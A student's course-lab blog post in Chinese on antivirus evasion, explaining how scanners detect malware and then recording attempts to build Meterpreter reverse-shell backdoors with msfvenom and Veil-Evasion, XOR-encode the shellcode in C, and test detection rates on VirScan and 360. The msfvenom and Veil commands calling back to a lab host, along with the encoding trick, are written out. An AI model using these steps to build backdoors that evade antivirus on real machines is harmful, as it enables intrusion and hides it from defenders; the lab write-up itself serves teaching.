20199107hxx

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

20145120《网络对抗》免杀原理与实践

基础问题回答

  1. 杀软是如何检测出恶意代码的?

    • 基于特征码的检测
      杀软公司通过分析恶意代码,找到恶意代码都有,而正常代码少有的特征代码,用这些已知的特征码与代码匹配检测,出错率低。
    • 启发式恶意软件检测、基于行为的恶意软件检测
      指导教材上说的很明白了,“对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。”但这种方式出错率相对高。容易误杀。
  2. 免杀是做什么?
    通过技术手段使恶意代码不被杀毒软件查杀。

  3. 免杀的基本方法有哪些?
    加壳、用其他语言重新编译、加冗余代码混淆真正的恶意代码、用社会工程学的欺骗手段伪装成用户信任的软件等等。

实践过程

一个不断生成后门软件,使用网站www.virscan.org和本机的杀软扫描的过程

使用MSF生成后门程序

使用编码器编码10次,上课的时候就知道MSF因为太出名基本被分析透了,针对MSF所有解码器都有特征码,啊哈,果然不出所料被查了


隔离区捞出来放到virscan上,嗯,53%

使用Veil-Evasion生成后门程序

老师的kali虚拟机自带,不用自己下载,输入veil-evasion进入

依次输入

use python/meterpreter/rev_tcp
set LHOST 192.168.253.129
set LPORT 5120
generate
testVeil5120
1

生成后门程序,拖到主机里还是直接查到,懒得从隔离区捞出来了,机智地直接在kali中上传扫描。


试用了一下发现前面的ip输错了。。。输成了235。。。

C语言使用shellcode

平台win10+vs2015

输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.129 LPORT=5120 -f c生成需要的机器码数组

复制到vs中,然后通过逆序、异或51h生成一段shellcode
运行一下360就把它杀了。。。

还好代码已经按我的想法以16进制格式输出到txt文件中了,替换掉部分产生的ffffff后得到新的机器码

新建项目,用生成的16进制代码&老师给的样例代码编程,其实就是加了个解码器,然后把解码出来的数组用作样例的met数组
很神奇,一开始不行,我试了很多次还是不行,但后来重启机器之后就成功了,运行一下,回连成功,360没报毒

改个名字传到virscan上,再用360直接查一下,嗯,没毛病,免杀成功

virscan结果只有两个查到了

哇哦!这nod32厉害啊,15年的病毒库都能知道我是32位win木马,总的来说这次实验还是很成功的

posted on 2017-03-27 21:52  20199107hxx  阅读(175)  评论(0编辑  收藏  举报